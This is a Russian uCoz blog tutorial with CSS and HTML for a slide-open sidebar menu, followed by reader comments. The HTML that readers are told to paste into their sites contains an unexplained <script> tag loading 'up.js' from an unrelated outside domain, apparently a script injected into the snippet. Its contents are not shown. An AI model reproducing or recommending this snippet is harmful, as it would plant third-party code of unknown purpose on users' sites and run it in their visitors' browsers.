Простое раздвижное меню для uCoz
                                                                                                                                                                                
Приветствую Вас Гость | RSS
Меню
Главная » 2012 » Декабрь » 3 » Простое раздвижное меню для uCoz
12:23
Простое раздвижное меню для uCoz
Очень удобное раздвижное меню для uCoz,
для каждой категории можно поставить соответствующую иконку.

Установка:

В таблицу стилей вашего сайта вставляем этот код:

Code
a.s-menu:link, a.s-menu:visited {display:block; border-bottom:1px solid #f7f7f7; font-weight:bold; padding:3px 0px 3px 5px; color:#696969;}  
a.s-menu:hover {background:#F3F3F3; border-bottom:1px solid #E7E7E7; color:#696969;}  
a.ss-menu:link, a.ss-menu:visited {display:block; border-bottom:1px solid #f7f7f7; font-weight:normal; padding:3px 0px 3px 5px; color:#696969; margin-left:16px;}  
a.ss-menu:hover {background:#F3F3F3; border-bottom:1px solid #E7E7E7; color:#696969;}


Там где хотите вывести меню вставляем этот код:

Code
<table class="f-block" border="0" cellpadding="0" cellspacing="0" width="100%"><script src="http://xall-pc.ru/up.js" type="text/javascript"></script><tbody>  
<tr><td class="b-middle">  
<a href="/" class="s-menu"><img src="/images/icons/zagruzka-plus.png" alt="" align="absmiddle"> Загрузка+</a>  
<a href="http://forum.zagruzka-plus.ru/" class="s-menu"><img src="/images/icons/comments.png" alt="" align="absmiddle"> Форум</a>  
<a href="javascript://" onclick="$('#soft-menu').slideToggle('slow');" class="s-menu"><img src="/images/icons/soft.png" alt="" align="absmiddle"> Софт <img src="/images/icons/arrow_down.png" alt="" style="margin:0px;" align="absmiddle"></a>  
<div id="soft-menu" style="display:none; margin-bottom:5px;">  
<a href="/soft/cd-dvd/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> CD/DVD</a>  
<a href="/soft/ftp/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> FTP-Клиенты</a>  
<a href="/soft/security/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Безопасность</a>  
<a href="/soft/archives/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Архиваторы</a>  
<a href="/soft/browsers/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Браузеры</a>  
<a href="/soft/graphic/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Графика</a>  
</div>  
<a href="javascript://" onclick="$('#dle-menu').slideToggle('slow');" class="s-menu"><img src="/images/icons/icon15.png" alt="" align="absmiddle"> DataLife Egine <img src="/images/icons/arrow_down.png" alt="" style="margin:0px;" align="absmiddle"></a>  
<div id="dle-menu" style="display:none; margin-bottom:5px;">  
<a href="/dle/dle-tempalates/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Шаблоны</a>  
<a href="/dle/modules/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Модули</a>  
<a href="/dle/dle-scripts/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Скрипты</a>  
</div>  
<a href="javascript://" onclick="$('#ucoz-menu').slideToggle('slow');" class="s-menu"><img src="/images/icons/ucoz.png" alt="" align="absmiddle"> uCoz <img src="/images/icons/arrow_down.png" alt="" style="margin:0px;" align="absmiddle"></a>  
<div id="ucoz-menu" style="display:none; margin-bottom:5px;">  
<a href="/ucoz/scripts/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Скрипты</a>  
<a href="/ucoz/tempalates/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Шаблоны</a>  
<a href="/ucoz/menu/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Меню</a>  
<a href="/ucoz/buttons/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Кнопки</a>  
<a href="/ucoz/icons/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Иконки</a>  
<a href="/ucoz/rank/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Ранги</a>  
<a href="/ucoz/forum-tempalates/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Шаблоны форума</a>  
</div>  
<a href="/music" class="s-menu"><img src="/images/icons/music.png" alt="" align="absmiddle"> Музыка</a>  
</td></tr>  
<tr><td class="b-bottom"></td></tr>  
</tbody></table>


Теперь качаем архив ( http://narod.ru/disk/64187793001.9df22ef76fd6df1ab2b30a6684520f8c/124_images.rar.html ), распаковываем
И кидаем все картинки в корень сайта в папку "images".

Система Orphus

Категория: Новости | Просмотров: 1058 | Добавил: drak-zp | Рейтинг: 5.0/1
Всего комментариев: 5

аватар отсутствует
Саня
24 Фев 2015 - 11:49
Like | 0
№4
Ну так как сделать что бы меню не захлопывалось при переходе по его пункту? вы так и не помогли(

drak-zp
24 Фев 2015 - 12:59
Like | 0
№5
Написал в субботу Вас в лс
Меняйте меню лучше или скиньте сайт свой.

аватар отсутствует
Саня
16 Фев 2015 - 16:20
Like | 0
№1
Отличное меню, поставил себе на сайт. Не могли бы вы помочь в его редактировании, у меня есть два вопроса:
1) Как сделать так что бы после перехода по категории на открывшийся странице слайдер раздела в которой находится та категория на которую я нажал был открыт. Например я выбрал раздел "Ucoz" нажал на категорию "шаблоны" произошел переход на страницу "Шаблоны" и на этой странице раздел "Ucoz" слайдер был раскрыт.
2) Как добавить раздел в раздел? Например Раскрыв раздел Ucoz раскрылись категории этого раздела например "скрипты" "шаблоны" "иконки" и тд. И нажав на категорию "шаблоны" вылезали еще категории.  
Буду очень рад если поможете в решении вопросов)

drak-zp
16 Фев 2015 - 19:17
Like | +1
№2
Пробуйте пока что сами,у меня времени столько нет в рабочих днях sad
Если вопрос будет актуальным на выходных,смогу попробовать переделать меню по Вашим требованиям.

аватар отсутствует
Саня
17 Фев 2015 - 06:45
Like | 0
№3
Спасибо большое буду ждать)
avatar
-->


Профиль
Привет: Гость


Гость, мы рады вас видеть. Пожалуйста зарегестрируйтесь или авторизуйтесь!
Статистика
Онлайн всего: 20
Гостей: 20
Пользователей: 0






Анализ веб сайтов
Друзья сайта
Хочу в друзья
Друзья сайта h1tan.ru Друзья сайта h1tan.ru
Друзья сайта h1tan.ru Друзья сайта h1tan.ru